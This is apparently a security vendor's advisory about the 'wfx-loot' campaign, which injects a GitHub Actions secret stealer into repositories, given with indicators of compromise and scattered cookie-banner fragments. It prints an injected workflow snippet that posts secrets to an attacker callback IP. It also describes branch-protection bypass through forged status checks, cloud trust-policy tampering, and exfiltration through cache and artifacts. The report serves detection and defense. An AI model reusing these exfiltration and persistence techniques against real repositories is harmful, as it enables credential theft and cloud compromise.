wfx-loot campaign pushes CI secret stealer to tens of thousands of repositories

Written by Oliver Smith

Published on: Nov 12, 2026

Starting on November 10, a threat actor used stolen GitHub credentials to push a malicious workflow payload into tens of thousands of repositories. The payload steals GitHub Actions secrets and cloud credentials. The payload has proliferated into at least one Packagist and one Golang package through automated publishing triggers, but the threat actor appears to be targeting CI secrets rather than attempting to proliferate through the supply chain.

Based on data we've currently collected:

- 4,837 compromised accounts opened probe pull requests in 61,764 repositories.
- At least 1,835 repositories ran the payload and have had credentials exfiltrated.
- At least 50 compromised users appear to publish packages for ecosystems including npm, Go, Packagist, PyPI or crates.

name for the malware

write to on or after

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

Decline optional Customize Accept All

- A `wfx-docs` branch, or a pull request titled `docs: dependency audit not`
- Commits titled `ci: refresh build cache`, `chore: add ci helper` or `chore: add dependency audit workflow`
- Short-lived branches named `chore/` followed by eight random characters

GitHub search returns 61,839 `docs: dependency audit notes` pull requests, opened between November 10, 12:45 UTC, and November 11, 15:00 UTC. That pull request is only a probe, and is followed by commits that carry the real payload. If the probe ran, that user is compromised, even if the workflow stage did not run.

- 10,431 of the pull requests went into repositories the account doesn't own, reached through collaborator or organisation access.
- 92% of them are still open, which suggests most owners haven't noticed.

We've identified indications that the payload ran in at least 1,806 repositories, but this number may understate impact. The run log was deleted in impacted repositories, meaning the threat actor has likely collected the credentials and covered its tacks. Most of the rest had nothing pushed after the probe, or the infected workflow didn't run due to configurations or the permissions of the compromised user.

If the payload ran in your repository, assume every secret and cloud role available to its workflows is compromised.

We've also observed this campaign entering published packages through automated publishing triggers. Malicious packages we've identified to date include:

- Packagist `digitalelvis/neuronai-studio` version 3.14.3. Treat any machine that installed or opened either version as compromised.
- Go module `github.com/onuragtas/docker-env` v1.0.278 and v1.0.280: these tags contain the payload in a GitHub Actions workflow file only. The Go source and release binaries are unchanged, and Go builds never run workflow files, so consumers of the module may not have been affected, but we recommend removing these packages anyway.

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

started using
ory a stolen GitHub

ull request from a

2. **Pushes the payload -** The threat actor uses one of three variants:
   - Workflow injection: `ci: refresh build cache` adds about 1,500 lines to an existing workflow.
   - Install hook: `chore: add ci helper` adds a `.ci-xxxxxx.sh` script and a `postinstall` hook in `package.json` that runs it on any `npm install`
   - Throwaway branch: c`hore: add dependency audit workflow` adds `.github/workflows/build-audit-xxxxxx.yml` on a `chore/xxxxxxxx` branch.
3. **Cleans up** - the threat actor reverts within at most one minute and deletes the workflow run, along with its logs. A missing run number in the workflow's history is often the only trace.

The injected workflow steps look like this:

```
- name: Pass runtime
  uses: actions/github-script@v7
  ...
- name: Restore cache j632
  env:
    WF_CALLBACK: "http://194.150.166[.]244:8080/exfil"
    WF_CTOKEN: "b42d70a7aab9140ca19e8249"
    WF_SECRETS: "${{ toJSON(secrets) }}"
    WF_VARS: "${{ toJSON(vars) }}"
```

What it steals

The payload is a single shell script of about 1,500 lines. The same script is used in all three delivery variants. It works in four stages: collect, escalate, persist and exfiltrate. Configuration flags at the top of the script switch individual features on and off. This section describes everything the script can do, but some of the exfiltration features were turned off in this campaign.

as "wfx" in logs and

on the runner:

and the OIDC and

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

- The full runtime environment, plus a filtered copy of variables matchi `pass`, `cred`, `aws`, `azure`, `gcp`, `openai`, `anthropic`, `stripe` and dozens of other keywords.
- Credential files from well-known paths including AWS, Azure, GCP, Docker, Kubernetes, npm, PyPI, Git, SSH, GPG, Vault and Terraform.
- Credentials for AI providers and AI developer tools, including OpenAI, Anthropic/Claude, Gemini, Hugging Face, Cursor, Copilot, Codex, Continue, Codeium, Aider, Weights & Biases and Ollama.
- Shell histories for bash, zsh, mysql, psql, python and node.
- Every `.env`, `.pem`, `.p12`, `.jks`, `.kdbx` and `kubeconfig` file under `$HOME`, searched recursively.
- The environment and memory of running processes on the runner, prioritizing `Runner.Worker` and `Runner.Listener`. It extracts JWTs, GitHub PATs, AWS keys and AI provider tokens.
- On self-hosted runners only:
  - AWS, GCP and Azure instance metadata credentials
  - Docker container state
  - the runner's RSA parameters
  - systemd units
- A snapshot of the repository, the files in it that match a catalog of secret patterns, the last 100 commits, and recent workflow artifacts

Escalate. The payload uses the collected credentials to get deeper cloud access:

- **OIDC exchange** - It mints GitHub OIDC tokens for AWS, GCP and Azure audiences and exchanges them for cloud sessions.
- **AWS** -It chains into other IAM roles it finds in the repository, then calls `iam:CreateAccessKey` to create long-lived credentials for IAM users.
- **GCP** - It signs JWTs with service account keys using a dependency-free Python RSA implementation and exchanges them for access tokens. It then lists projects and service ate service accounts.

nt tokens and lists
ns, replaying cached
get Graph, ARM and

Vault and against

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

Persist. The payload takes three actions designed to outlast credential

- **Branch protection bypass** - Early in the run, before most collection, the payload posts forged `success` status checks against the commit SHA, using the context names of the repository's required checks. Branch protection matches on the context name, not on the app that posted it, so the forged checks clear merge gates while the payload is still running.
- **AWS trust policy rewrite** - It sets the chained role's trust policy to `"Principal": {"AWS": "*"}`, which opens the role to any AWS account.
- **Azure federated identity injection** - With a Microsoft Graph token, it adds new federated identity credentials, named `wfx-ci-…`, to Azure AD applications, pointing back to the compromised repository. Any workflow in that repository can then authenticate to Azure without a stored secret, even after every token has been rotated.

Exfiltrate. The payload packs everything into a gzipped tarball. The script supports several delivery channels, three of which use GitHub's own infrastructure to get around network egress restrictions:

- **Actions Cache API** - It stores the tarball as a cache entry, retrievable later with a matching key.
- **Step summary** - For archives under 700 KB, it base64-encodes the tarball into the workflow step summary between `<!--WFX-BEGIN-->` markers.
- **Artifact upload** - It uploads the tarball as a workflow artifact named `wfx-loot-<run id>`.

The other channels are:

- a direct HTTP POST to the callback server, retried with increasing back-off
- a secondary callback URL
- an AES-encrypted copy committed to the repository
- base32-encoded output written to the workflow run log
- exfiltration via Telegram Bot

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

TP POST to

private-repository

led

If you are checking an affected repository, the absence of `wfx-loot` artifa entries or `WFX-BEGIN` step summaries does not mean data was not taken. The run itself is usually deleted based on our data. A missing run number on the attacker's commit is the more reliable sign that the payload ran. The existence of dedicated configurations for private repositories suggests that the payload may be being deployed in private repositories as well as the public ones we can identify.

Overlap with October GhostAction activity

Accounts impacted in this wave cross over with the October GhostActions wave, matching known GhostActions indicators:

- Secret-scanning workflows (`security-audit.yml`, `audit.yml`, `ci-check.yml` and similar) that send keys found in the repository and its git history to `193.32.204[.]199`.
- A developer-machine stealer: `public/fonts/fa-solid-400.woff2`, which is JavaScript, not a font, plus a hidden VS Code task that runs it when the folder is opened. It takes `~/.git-credentials`, SSH keys, npm, PyPI, AWS and Claude credentials, and installs a cron job tagged `#ghc2` that polls `193.32.204[.]199:8080` for commands.

Accounts hit by GhostAction in October were significantly more likely than baseline to be impacted by wfx-loot. In more than 100 repositories, wfx-loot was injected into the GhostActions workflow files.. Despite the overlap in accounts, we assess that these are distinct campaigns likely carried out by different threat actors. The infrastructure, tooling and tradecraft differ, and stolen credentials often end up in the hands of several threat actors. We've also noticed Indonesian-language comments in some newer versions of the malware that are the result of a hasty edit to add Telegram exfiltration. We've never observed Indonesian artefacts in GhostAction activity.

How Aikido detects this

If you are an Aikido user, check your central feed and filter on malware issues. Compromised packages related to this campaign will surface as a 100/100 critical issue.

n now.

ect your repos. Our

Chain sits in your

ands and checking

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

Login Menu

For broader coverage across your whole team, Aikido's Device Protectio and control over the software packages installed on your team's devices. It covers browser extensions, code libraries, IDE plugins, and build dependencies, all in one place. Stop malware before it gets installed.

Indicators of compromise

Affected package versions

- Packagist `digitalelvis/neuronai-studio` 3.14.3
- Go `github.com/onuragtas/docker-env` v1.0.278 and v1.0.280. The payload is in a workflow file only.

Network indicators

- `194.150.166[.]244:8080` (`/exfil`)
- `18.143.168[.]96:8080` (`/exfil`)

GitHub indicators

- Branches: `wfx-docs`, `chore/[a-z0-9]{8}`, `ci-check-[0-9]{4}`
- Pull request title: `docs: dependency audit notes`
- Commit messages:
  - `ci: refresh build cache`
  - `ci: restore`
  - `chore: add ci helper`

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

`816c762735cf`

Share:

Scan for malware

Similar Posts

November 5, 2026 • Vulnerabilities & Threats

Even gem list can run someone else's code

Ruby gems can run code on install and on every gem command, even gem list. Check for four data-exfiltrating gems and turn off install-time execution.

#Malware #open-source #Aikido Device Protection

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

an allow
432)

allow remote code

October 23, 2026 • Vulnerabilities & Threats

Node2Shell evolves to HTTP2Shell. Brotli flaw (CVE-2026-111497) blast radius affects many libraries & apps using HTTP.

The Brotli flaw behind Node2Shell (CVE-2026-111497) affects many libraries and applications using HTTP with Brotli or brotlicffi installed. Check your versions and upgrade to the fix.

#Vulnerabilities #Pypi

Get secure today, quickly and for free.

Secure your code, cloud, and runtime in one central system.
your codebase.

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

No credit card required | Scan results in 32 seconds.

Login Menu

Trusted by 150k+ orgs

Company

- Platform
- Pricing
- About
- Careers
- Contact
- Partner with us

Resources

- Docs
- Public API Docs
- Vulnerability Database
- Blog
- Customer Stories
- Integrations
- Glossary
- Press Kit
- Customer Reviews
- Aikido Intel

Industries

- For HealthTech
- For MedTech
- For FinTech
- For SecurityTech
- For LegalTech
- For HRTech
- For Agencies
- For Enterprise
- For Startups
- For PE & Group Companies
- For Government & Public Sector
- For Smart Manufacturing & Engineering
- For Government & Regulated Workloads

l

- cy Policy
- e Policy
- s of Use
- er Subscription Agreement
- Processing Agreement

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy

Generate SBOMs
WordPress Security
Code Security
Aikido for Microsoft
Aikido for AWS
Mobile Pentesting
Shadow AI Protection
AI Code Analysis

vs Veracode
vs GitHub Advanced Security
vs GitLab Ultimate
vs Checkmarx
vs Semgrep
vs SonarQube
vs Black Duck
vs Socket

AI Penet Login Menu

Connect

hello@aikido.dev

Security

Trust Center
Security Overview
Change Cookie Preferences

Subscribe

Stay up to date with all updates

LinkedIn YouTube X

© 2026 Aikido Security BV | BE0792914919
🇪🇺 Keizer Karelstraat 15, 9000, Ghent, Belgium
🇺🇸 330 N. Wabash 23rd Floor Chicago, IL 60611, US
🇬🇧 Unit 33, Waterside, Schooner Court, 44-48 Wharf Road, London, United Kingdom, N1 7UX

SOC 2 **Compliant** ISO 27001 **Compliant** ISO 42001 **Compliant**
FedRAMP **Authorized**

We use cookies

We use essential cookies to run our site. With your consent, we also use cookies for analytics and ads personalisation. Cookie Policy